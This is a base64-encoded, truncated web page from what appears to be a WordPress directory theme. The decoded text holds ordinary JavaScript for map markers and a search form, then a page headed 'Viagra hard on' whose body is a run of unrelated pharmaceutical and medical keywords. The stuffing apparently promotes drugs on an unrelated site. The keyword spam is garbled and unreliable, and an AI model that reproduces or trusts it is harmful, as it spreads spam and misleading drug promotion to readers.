nZhbCgpOwoJCX0KCQlpZihyZXdyaXRlTG9jYXRpb24pewoJCQlsb2NhdGlvbiA9IHJld3JpdGVMb2NhdGlvbjsKCQl9IGVsc2UgewoJCQlsb2NhdGlvbiA9ICQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQnKS52YWwoKTsKCQl9CgkJc2VhcmNoID0gJCgnI2Rpci1zZWFyY2hpbnB1dC10ZXh0JykudmFsKCk7CgoJCXZhciBhamF4R2VvID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8nKS5hdHRyKCJjaGVja2VkIik7CgoJCWlmKGFqYXhHZW8gJiYgIXJlc2V0KXsKCQkJdmFyIGlucHV0UmFkaXVzID0gZ2VvSW5wdXRSYWRpdXMudmFsKCk7CgkJCWlmKCFpc05hTihpbnB1dFJhZGl1cykpewoJCQkJcmFkaXVzLnB1c2gocGFyc2VJbnQoaW5wdXRSYWRpdXMpKTsKCQkJfSBlbHNlIHsKCQkJCWdlb0lucHV0UmFkaXVzLnZhbChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpOwoJCQkJcmFkaXVzLnB1c2gocGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKSk7CgkJCX0KCQkJcmFkaXVzLnB1c2gocGFyc2VGbG9hdChnZW9JbnB1dExhdC52YWwoKSkpOwoJCQlyYWRpdXMucHVzaChwYXJzZUZsb2F0KGdlb0lucHV0TG5nLnZhbCgpKSk7CgkJfQoJfSBlbHNlIHsKCQlpZihyZXNldCl7CgkJCWNhdGVnb3J5ID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2NhdGVnb3J5JykpOwoJCQlsb2NhdGlvbiA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdsb2NhdGlvbicpKTsKCQkJc2VhcmNoID0gbWFwRGl2LmRhdGEoJ3NlYXJjaCcpOwoJCX0gZWxzZSB7CgkJCWlmKGdlb2xvYyl7CgkJCQlyYWRpdXMucHVzaChwYXJzZUludCgpKTsKCQkJCXJhZGl1cy5wdXNoKGdlb2xvYy5sYXQoKSk7CgkJCQlyYWRpdXMucHVzaChnZW9sb2MubG5nKCkpOwoKCQkJCWNhdGVnb3J5ID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2NhdGVnb3J5JykpOwoJCQkJbG9jYXRpb24gPSBwYXJzZUludChtYXBEaXYuZGF0YSgnbG9jYXRpb24nKSk7CgkJCQlzZWFyY2ggPSBtYXBEaXYuZGF0YSgnc2VhcmNoJyk7CgkJCX0KCQl9Cgl9CgkvLyBnZXQgaXRlbXMgZnJvbSBhamF4CgkkLnBvc3QoCgkJLy8gTXlBamF4IGRlZmluZWQgaW4gZnVuY3Rpb25zLnBocAoJCU15QWpheC5hamF4dXJsLAoJICAgIHsKCSAgICAgICAgYWN0aW9uIDogJ2dldF9pdGVtcycsCgkgICAgICAgIGNhdGVnb3J5IDogY2F0ZWdvcnksCgkgICAgICAgIGxvY2F0aW9uIDogbG9jYXRpb24sCgkgICAgICAgIHNlYXJjaCA6IHNlYXJjaCwKCSAgICAgICAgcmFkaXVzIDogcmFkaXVzLAoJICAgICAgICB3cG1sX2xhbmcgOiBsb2NhbGUKCSAgICB9LAoJICAgIGZ1bmN0aW9uKCByZXNwb25zZSApIHsKCSAgICAJLy8gc2hvdyByZXNldCBhamF4IGJ1dHRvbgoJICAgIAlpZigoIXJlc2V0KSAmJiAoIWdlb2xvYykgJiYgKCQoJyNkaXJlY3Rvcnktc2VhcmNoJykuZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJykpewoJICAgIAkJJCgnI2RpcmVjdG9yeS1zZWFyY2ggLnJlc2V0LWFqYXgnKS5zaG93KCk7CgkgICAgCX0KCSAgICAJaWYoYWpheEdlbyAmJiAhcmVzZXQpewoJICAgIAkJdmFyIGFqYXhHZW9PYmogPSBuZXcgZ29vZ2xlLm1hcHMuTGF0TG5nKHBhcnNlRmxvYXQoZ2VvSW5wdXRMYXQudmFsKCkpLHBhcnNlRmxvYXQoZ2VvSW5wdXRMbmcudmFsKCkpKTsKCSAgICAJCWdlbmVyYXRlTWFya2VycyhyZXNwb25zZSxhamF4R2VvT2JqLHRydWUpOwoJICAgIAl9IGVsc2UgewoJICAgIAkJZ2VuZXJhdGVNYXJrZXJzKHJlc3BvbnNlLGdlb2xvYyk7CgkgICAgCX0KCSAgICB9CgkpCgkuZmFpbChmdW5jdGlvbihlKSB7IGNvbnNvbGUubG9nKCJBSkFYIEVSUk9SIiwgZSk7IH0pOwp9CgpmdW5jdGlvbiBnZW5lcmF0ZU1hcmtlcnMoZGF0YVJhdyxnZW9sb2MsYWpheEdlbykgewoKCS8vIGNsZWFyIG1hcAoJaW5mb2JveC5jbG9zZSgpOwoJbWFwRGl2LmdtYXAzKHsgY2xlYXI6IHsgfSB9KTsKCgltYXAuc2V0Wm9vbSgxMCk7CgoJdmFyIGxlbiA9ICQubWFwKGRhdGFSYXcsIGZ1bmN0aW9uKG4sIGkpIHsgcmV0dXJuIGk7IH0pLmxlbmd0aDsKCgl2YXIgaSA9IDA7CgkvLyBwcmVwYXJlIGRhdGEKCXZhciBkYXRhID0gbmV3IEFycmF5KCk7Cglmb3IodmFyIGtleSBpbiBkYXRhUmF3KXsKCQlpZiAoIShkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsnZ3BzTGF0aXR1ZGUnXSA9PSAiMCIgJiYgZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xvbmdpdHVkZSddID09ICIwIikpIHsKCQkJdmFyIHJhdGluZyA9ICcnOwoJCQlpZihkYXRhUmF3W2tleV0ucmF0aW5nKXsKCQkJCXJhdGluZyArPSAnPGRpdiBjbGFzcz0icmF0aW5nIj4nOwoJCQkJZm9yICh2YXIgaiA9IDE7IGogPD0gZGF0YVJhd1trZXldLnJhdGluZ1snbWF4J107IGorKykgewoJCQkJCXJhdGluZyArPSAnPGRpdiBjbGFzcz0ic3Rhcic7CgkJCQkJaWYoaiA8PSBkYXRhUmF3W2tleV0ucmF0aW5nWyd2YWwnXSkgewoJCQkJCQlyYXRpbmcgKz0gJyBhY3RpdmUnOwoJCQkJCX0KCQkJCQlyYXRpbmcgKz0gJyI+PC9kaXY+JzsKCQkJCX0KCQkJCXJhdGluZyArPSAnPC9kaXY+JzsKCQkJfQoKCQkJdmFyIHRodW1iQ29kZSA9IChkYXRhUmF3W2tleV0udGltdGh1bWJVcmwpID8gJyB3aXRoLWltYWdlIj48aW1nIHNyYz0iJytkYXRhUmF3W2tleV0udGltdGh1bWJVcmwrJyIgYWx0PSIiIC8+JyA6ICciPic7CgkJCWRhdGFbaV0gPSB7CgkJCQlsYXRMbmc6IFtkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsnZ3BzTGF0aXR1ZGUnXSxkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsnZ3BzTG9uZ2l0dWRlJ11dLAoJCQkJb3B0aW9uczogewoJCQkJCWljb246IGRhdGFSYXdba2V5XS5tYXJrZXIsCgkJCQkJc2hhZG93OiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2ljb24tc2hhZG93LnBuZyIsCgkJCQl9LAoJCQkJZGF0YTogJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPjxkaXYgY2xhc3M9Im1hcmtlci1jb250ZW50Jyt0aHVtYkNvZGUrJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPjxkaXYgY2xhc3M9InRpdGxlIj4nK2RhdGFSYXdba2V5XS5wb3N0X3RpdGxlKyc8L2Rpdj4nK3JhdGluZysnPGRpdiBjbGFzcz0iYWRkcmVzcyI+JytkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsiYWRkcmVzcyJdKyc8L2Rpdj48YSBocmVmPSInK2RhdGFSYXdba2V5XS5saW5rKyciIGNsYXNzPSJtb3JlLWJ1dHRvbiI+VklFVyBNT1JFPC9hPjwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4nCgkJCX07CgkJCWkrKzsKCQl9CiAgICB9CgogICAgLy8gc2hvdyBnZW9sb2MgbWFya2VyCiAgICBpZihnZW9sb2MpewogICAgCW1hcERpdi5nbWFwMyh7CgkJCW1hcmtlcjogewogICAgCQkJbGF0TG5nOiBnZW9sb2MsCiAgICAJCQlvcHRpb25zOiB7CiAgICAJCQkJYW5pbWF0aW9uOiBnb29nbGUubWFwcy5BbmltYXRpb24uRFJPUCwKICAgIAkJCQl6SW5kZXg6IDEwMDAsCiAgICAJCQkJaWNvbjogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9nZW9sb2NhdGlvbi1waW4ucG5nIgogICAgCQkJfQogICAgCQl9CiAgICAJfSk7Cgl9CgoJLy8gZ2VuZXJhdGUgbWFya2VycyBpbiBtYXAKCXZhciBtYXBPYmogPSB7CgkJbWFya2VyOiB7CgkJCXZhbHVlczogZGF0YSwKCQkJb3B0aW9uczp7CgkJCQlkcmFnZ2FibGU6IGZhbHNlCgkJCX0sCgkJCWNsdXN0ZXI6ewoJCQkJcmFkaXVzOiAyMCwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAwIG1hcmtlcnMKCQkJCTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTEnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDIwIG1hcmtlcnMKCQkJCTIwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0yJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiA1MCBtYXJrZXJzCgkJCQk1MDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMyc+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQlldmVudHM6IHsKCQkJCQljbGljazogZnVuY3Rpb24oY2x1c3RlcikgewoJCQkJCQltYXAucGFuVG8oY2x1c3Rlci5tYWluLmdldFBvc2l0aW9uKCkpOwoJCQkJCQltYXAuc2V0Wm9vbShtYXAuZ2V0Wm9vbSgpICsgMik7CgkJCQkJfQoJCQkJfQogICAgICAgICAgCX0sCgkJCWV2ZW50czogewoJCQkJY2xpY2s6IGZ1bmN0aW9uKG1hcmtlciwgZXZlbnQsIGNvbnRleHQpewoJCQkJCW1hcC5wYW5UbyhtYXJrZXIuZ2V0UG9zaXRpb24oKSk7CgoJCQkJCWluZm9ib3guc2V0Q29udGVudChjb250ZXh0LmRhdGEpOwoJCQkJCWluZm9ib3gub3BlbihtYXAsbWFya2VyKTsKCgkJCQkJLy8gaWYgbWFwIGlzIHNtYWxsCgkJCQkJdmFyIGlXaWR0aCA9IDI2MDsKCQkJCQl2YXIgaUhlaWdodCA9IDMwMDsKCQkJCQlpZigobWFwRGl2LndpZHRoKCkgLyAyKSA8IGlXaWR0aCApewoJCQkJCQl2YXIgb2Zmc2V0WCA9IGlXaWR0aCAtIChtYXBEaXYud2lkdGgoKSAvIDIpOwoJCQkJCQltYXAucGFuQnkob2Zmc2V0WCwwKTsKCQkJCQl9CgkJCQkJaWYoKG1hcERpdi5oZWlnaHQoKSAvIDIpIDwgaUhlaWdodCApewoJCQkJCQl2YXIgb2Zmc2V0WSA9IC0oaUhlaWdodCAtIChtYXBEaXYuaGVpZ2h0KCkgLyAyKSk7CgkJCQkJCW1hcC5wYW5CeSgwLG9mZnNldFkpOwoJCQkJCX0KCgkJCQl9CgkJCX0KCQl9Cgl9OwoKCWlmKGdlb2xvYyl7CgkJaWYoYWpheEdlbyl7CgkJCXZhciBpbnB1dFJhZGl1cyA9IGdlb0lucHV0UmFkaXVzLnZhbCgpOwoJCQlpZighaXNOYU4oaW5wdXRSYWRpdXMpKXsKCQkJCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChnZW9JbnB1dFJhZGl1cy52YWwoKSkgKiAxMDAwOwoJCQl9IGVsc2UgewoJCQkJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSkgKiAxMDAwOwoJCQl9CgkJCS8vIGF1dG9maXQgYnkgY2lyY2xlCgkJCW1hcE9iai5jaXJjbGUgPSB7CgkJCQlvcHRpb25zOiB7CgkJCQkJY2VudGVyOiBnZW9sb2MsCgkJCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQkJCXZpc2libGUgOiB0cnVlLAoJCQkJCWZpbGxPcGFjaXR5IDogMC4xNSwKCQkJCQlmaWxsQ29sb3IgOiAiIzJjODJiZSIsCgkJCQkJc3Ryb2tlQ29sb3IgOiAiIzJjODJiZSIKCQkJCX0KCQkJfQoJCX0gZWxzZSB7CgkJCXZhciByYWRpdXNJbk0gPSBwYXJzZUludCgpICogMTAwMDsKCQkJLy8gYXV0b2ZpdCBieSBjaXJjbGUKCQkJbWFwT2JqLmNpcmNsZSA9IHsKCQkJCW9wdGlvbnM6IHsKCQkJCQljZW50ZXI6IGdlb2xvYywKCQkJCQlyYWRpdXMgOiByYWRpdXNJbk0sCgkJCQkJdmlzaWJsZSA6IGZhbHNlLAoJCQkJCWZpbGxPcGFjaXR5IDogMC4xNSwKCQkJCQlmaWxsQ29sb3IgOiAiIzJjODJiZSIsCgkJCQkJc3Ryb2tlQ29sb3IgOiAiIzJjODJiZSIKCQkJCX0KCQkJfQoJCX0KCX0KCgloaWRlTG9hZGluZygpOwoKCW1hcERpdi5nbWFwMyggbWFwT2JqLCAiYXV0b2ZpdCIgKTsKCglpZihsZW4gPT0gMSAmJiAhZ2VvbG9jKXsKCQltYXAuc2V0Wm9vbSgxMCk7Cgl9Cgp9CgpmdW5jdGlvbiBnZW5lcmF0ZU9ubHlHZW8obGF0LGxuZyxyYWRpdXMpIHsKCXZhciBnZW9sb2MgPSBuZXcgZ29vZ2xlLm1hcHMuTGF0TG5nKHBhcnNlRmxvYXQobGF0KSxwYXJzZUZsb2F0KGxuZykpOwoJLy8gZ2VuZXJhdGUgZ2VvIHBpbgoJbWFwRGl2LmdtYXAzKHsKCQltYXJrZXI6IHsKCQkJbGF0TG5nOiBnZW9sb2MsCgkJCW9wdGlvbnM6IHsKCQkJCWFuaW1hdGlvbjogZ29vZ2xlLm1hcHMuQW5pbWF0aW9uLkRST1AsCgkJCQl6SW5kZXg6IDEwMDAsCgkJCQlpY29uOiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2dlb2xvY2F0aW9uLXBpbi5wbmciCgkJCX0KCQl9Cgl9KTsKCS8vIGdlbmVyYXRlIGFuZCBhdXRvZml0IGJ5IGNpcmNsZQoJdmFyIG1hcE9iaiA9IHt9OwoJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KHJhZGl1cykgKiAxMDAwOwoJLy8gYXV0b2ZpdCBieSBjaXJjbGUKCW1hcE9iai5jaXJjbGUgPSB7CgkJb3B0aW9uczogewoJCQljZW50ZXI6IGdlb2xvYywKCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQl2aXNpYmxlIDogdHJ1ZSwKCQkJZmlsbE9wYWNpdHkgOiAwLjE1LAoJCQlmaWxsQ29sb3IgOiAiIzJjODJiZSIsCgkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJfQoJfQoJbWFwRGl2LmdtYXAzKCBtYXBPYmosICJhdXRvZml0IiApOwp9Cgp2YXIgY29udGVudERpdiA9ICQoJyNtYWluICNjb250ZW50Jyk7CnZhciBjdXJyQ29udGVudCA9IGNvbnRlbnREaXYuaHRtbCgpOwp2YXIgYWpheENvbnRlbnQ7CgpmdW5jdGlvbiBnZW5lcmF0ZUNvbnRlbnQoZGF0YSkgewoKCXZhciBsZW5ndGggPSAkLm1hcChkYXRhLCBmdW5jdGlvbihuLCBpKSB7IHJldHVybiBpOyB9KS5sZW5ndGg7CgoJY29udGVudERpdi5maW5kKCcuYWpheC1jb250ZW50JykucmVtb3ZlKCk7Cgl2YXIgdGl0bGU7CglpZihsZW5ndGggPT0gMCl7CgkJdGl0bGUgPSAkKCc8aGVhZGVyIGNsYXNzPSJlbnRyeS1oZWFkZXIiPjwvaGVhZGVyPicpOwoJfSBlbHNlIHsKCQl0aXRsZSA9ICQoJzxoZWFkZXIgY2xhc3M9ImVudHJ5LWhlYWRlciI+PC9oZWFkZXI+Jyk7Cgl9CgoJdmFyIGh0bWw7CglpZihsZW5ndGggPiAwKXsKCQlodG1sID0gJCgnPHVsIGNsYXNzPSJpdGVtcyI+PC91bD4nKTsKCX0KCXZhciBsaW1pdCA9IDMwOwoJaWYobGltaXQgPiBsZW5ndGgpIHsKCQlsaW1pdCA9IGxlbmd0aDsKCX0KCXZhciBpID0gMDsKCWZvcih2YXIga2V5IGluIGRhdGEpewoJCXZhciB0aHVtYm5haWxIdG1sOwoJCWlmKGRhdGFba2V5XS50aW10aHVtYlVybENvbnRlbnQpewoJCQl2YXIgdGh1bWJuYWlsSHRtbCA9ICc8ZGl2IGNsYXNzPSJ0aHVtYm5haWwiPjxpbWcgc3JjPSInK2RhdGFba2V5XS50aW10aHVtYlVybENvbnRlbnQrJyIgYWx0PSJJdGVtIHRodW1ibmFpbCIgLz48ZGl2IGNsYXNzPSJjb21tZW50LWNvdW50Ij4nK2RhdGFba2V5XS5jb21tZW50X2NvdW50Kyc8L2Rpdj48L2Rpdj4nOwoJCX0gZWxzZSB7CgkJCXRodW1ibmFpbEh0bWwgPSAnJzsKCQl9CgkJdmFyIHJhdGluZyA9ICcnOwoJCWlmKGRhdGFba2V5XS5yYXRpbmcpewoJCQlyYXRpbmcgKz0gJzxzcGFuIGNsYXNzPSJyYXRpbmciPic7CgkJCWZvciAodmFyIGkgPSAxOyBpIDw9IGRhdGFba2V5XS5yYXRpbmdbJ21heCddOyBpKyspIHsKCQkJCXJhdGluZyArPSAnPHNwYW4gY2xhc3M9InN0YXInOwoJCQkJaWYoaSA8PSBkYXRhW2tleV0ucmF0aW5nWyd2YWwnXSkgewoJCQkJCXJhdGluZyArPSAnIGFjdGl2ZSc7CgkJCQl9CgkJCQlyYXRpbmcgKz0gJyI+PC9zcGFuPic7CgkJCX0KCQkJcmF0aW5nICs9ICc8L3NwYW4+JzsKCQl9CgkJdmFyIGRlc2NyaXB0aW9uSHRtbCA9ICc8ZGl2IGNsYXNzPSJkZXNjcmlwdGlvbiI+JytkYXRhW2tleV0uZXhjZXJwdERpcisnPC9kaXY+JzsKCQlodG1sLmFwcGVuZCgnPGxpIGNsYXNzPSJpdGVtIGNsZWFyIj4nK3RodW1ibmFpbEh0bWwrZGVzY3JpcHRpb25IdG1sKyc8L2xpPicpOwoJCWlmKGkgPD0gbGltaXQpewoJCQlpKys7CgkJfSBlbHNlIHsKCQkJYnJlYWs7CgkJfQoJfTsKCWFqYXhDb250ZW50ID0gJCgnPGRpdiBjbGFzcz0iYWpheC1jb250ZW50Ij48L2Rpdj4nKS5odG1sKHRpdGxlKS5hcHBlbmQoaHRtbCk7Cgljb250ZW50RGl2LmZpbmQoJz4nKS5oaWRlKCk7Cgljb250ZW50RGl2LmFwcGVuZChhamF4Q29udGVudCk7Cn0KCi8vIHJlc2V0IHNlYXJjaCBhamF4IHZhbHVlcwokKCcjZGlyZWN0b3J5LXNlYXJjaCAucmVzZXQtYWpheCcpLmNsaWNrKGZ1bmN0aW9uICgpIHsKCgkvLyBnZXQgZGVmYXVsdCB2YWx1ZXMKCWFqYXhHZXRNYXJrZXJzKGZhbHNlLGZhbHNlLGZhbHNlLGZhbHNlLHRydWUpOwoKCgkkKCcjZGlyLXNlYXJjaGlucHV0LXRleHQnKS52YWwoIiIpOwoJLy8gZm9yIElFCgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtdGV4dCBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uJykudmFsKCIiKTsKCSQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQnKS52YWwoIjAiKTsKCS8vIGZvciBJRQoJJCgnc3Bhbi5mb3ItZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5IGxhYmVsJykuc2hvdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnknKS52YWwoIiIpOwoJJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCcpLnZhbCgiMCIpOwoJLy8gZm9yIElFCgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtbG9jYXRpb24gbGFiZWwnKS5zaG93KCk7CgoJJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8nKS5hdHRyKCdjaGVja2VkJyxmYWxzZSk7CgkkKCdkaXYuaXBob25lLXN0eWxlW3JlbD1kaXItc2VhcmNoaW5wdXQtZ2VvXScpLnJlbW92ZUNsYXNzKCdvbicpLmFkZENsYXNzKCdvZmYnKTsKCgkvL2dlb0lucHV0UmFkaXVzLnZhbChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpOwoKCS8vIGhpZGUgY2xvc2UgaWNvbgoJJCh0aGlzKS5oaWRlKCk7Cn0pOwp9KTsKPC9zY3JpcHQ+CgkJCTxkaXYgaWQ9ImRpcmVjdG9yeS1zZWFyY2giIGRhdGEtaW50ZXJhY3RpdmU9Im5vIj4KCQkJCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCQkJCTxmb3JtIGFjdGlvbj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLyIgaWQ9ImRpci1zZWFyY2gtZm9ybSIgbWV0aG9kPSJnZXQiIGNsYXNzPSJkaXItc2VhcmNoZm9ybSI+CgkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtaW5wdXRzIj4KCQkJCQkJCTxkaXYgaWQ9ImRpci1ob2xkZXIiPgoJCQkJCQkJCTxkaXYgY2xhc3M9ImRpci1ob2xkZXItd3JhcCI+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InMiIGlkPSJkaXItc2VhcmNoaW5wdXQtdGV4dCIgcGxhY2Vob2xkZXI9IlNlYXJjaCBrZXl3b3JkLi4uIiBjbGFzcz0iZGlyLXNlYXJjaGlucHV0IiAvPgoKCQkJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MiIGNsYXNzPSJkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MiPgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJpY29uIj48L2Rpdj4KCQkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1hZHZhbmNlZCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9InRleHQiPlNlYXJjaCBhcm91bmQgbXkgcG9zaXRpb248L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9InRleHQtZ2VvLXJhZGl1cyBjbGVhciI+CgkJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLXJhZGl1cyI+UmFkaXVzOjwvZGl2PgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9Im1ldHJpYyI+a208L2Rpdj4KCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZ2VvLXJhZGl1cyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tcmFkaXVzIiB2YWx1ZT0iMTAwIiBkYXRhLWRlZmF1bHQtdmFsdWU9IjEwMCIgLz4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLXNsaWRlciI+CgkJCQkJCQkJCQkJPGRpdiBjbGFzcz0idmFsdWUtc2xpZGVyIj48L2Rpdj4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLWJ1dHRvbiI+CgkJCQkJCQkJCQkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnZW8iIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvIiAvPgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWFkdmFuY2VkLWNsb3NlIj48L2Rpdj4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ2VvLWxhdCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tbGF0IiB2YWx1ZT0iMCIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJnZW8tbG5nIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlby1sbmciIHZhbHVlPSIwIiAvPgoKCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSIgcGxhY2Vob2xkZXI9IkFsbCBjYXRlZ29yaWVzIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYXRlZ29yaWVzIiBpZD0iZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkIiB2YWx1ZT0iMCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiAvPgoKCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiIgcGxhY2Vob2xkZXI9IkFsbCBsb2NhdGlvbnMiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImxvY2F0aW9ucyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCIgdmFsdWU9IjAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgLz4KCgkJCQkJCQkJPGRpdiBjbGFzcz0icmVzZXQtYWpheCI+PC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJPC9kaXY+CgoJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWJ1dHRvbiI+CgkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VhcmNoIiBjbGFzcz0iZGlyLXNlYXJjaHN1Ym1pdCIgLz4KCQkJCQkJPC9kaXY+CgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpci1zZWFyY2giIHZhbHVlPSJ5ZXMiIC8+CgkJCQkJCQoJCQkJCTwvZm9ybT4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCgo8ZGl2IGlkPSJtYWluIiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCI+Cgk8ZGl2IGlkPSJ3cmFwcGVyLXJvdyI+CgkJPGRpdiBpZD0icHJpbWFyeSIgY2xhc3M9IiI+CgoJCQk8ZGl2IGlkPSJjb250ZW50IiByb2xlPSJtYWluIj4KCQkJCQoKPGgxPlZpYWdyYSBoYXJkIG9uPC9oMT4KPGhyPgo8YXJ0aWNsZT48ZGl2IGl0ZW1zY29wZSBpdGVtdHlwZT0iaHR0cDovL3NjaGVtYS5vcmcvZG93bmxvYWQiPgoJCQk8cD5WaWFncmEgYWQgZXhhbXBsZXMgb2YgbG9vcCBkaXVyZXRpY3MgdmlzaW9uIHBsYW4gdnNwIGdlbmVyaWMgYW50aWJpb3RpYyB0YWJsZXRzIGZvciBhbmltYWwgZnJlZSBwb3JjaCBzd2luZyBwbGFuIGxlc3NvbiBwbGFucyBmb3IgcG93ZXIgZ2xpZGUgYWNjdXB1bmN0dXJlIHNhZmUgZm9yIGNhbmNlciBwYXRpZW50cyBhZXBzIHBsYW4gdG8gZG93bnNpemUgYWdhaW4gdGVzdG9zdGVyb25lIGFydGhyaXRpcyBiZWV0cm9vdCBjYW5jZXIgcmVzZWFyY2ggY2FuY2VyIG9mIHRoZSBicmFpbnN0ZW0gcG9saWNlIGJhbGwgY2FwcyBiZXN0IHByaWNlIGdyaWxsaW5nIGNhbmNlciBleHRlbnNpb24gZGVlciBmZWVkZXIgcGxhbnMgaG93IHRvIGNyZWF0ZSBhIGJ1ZGdldCBwbGFuIGJpcnRoIGNvbnRyb2wgY2VydmljYWwgY2F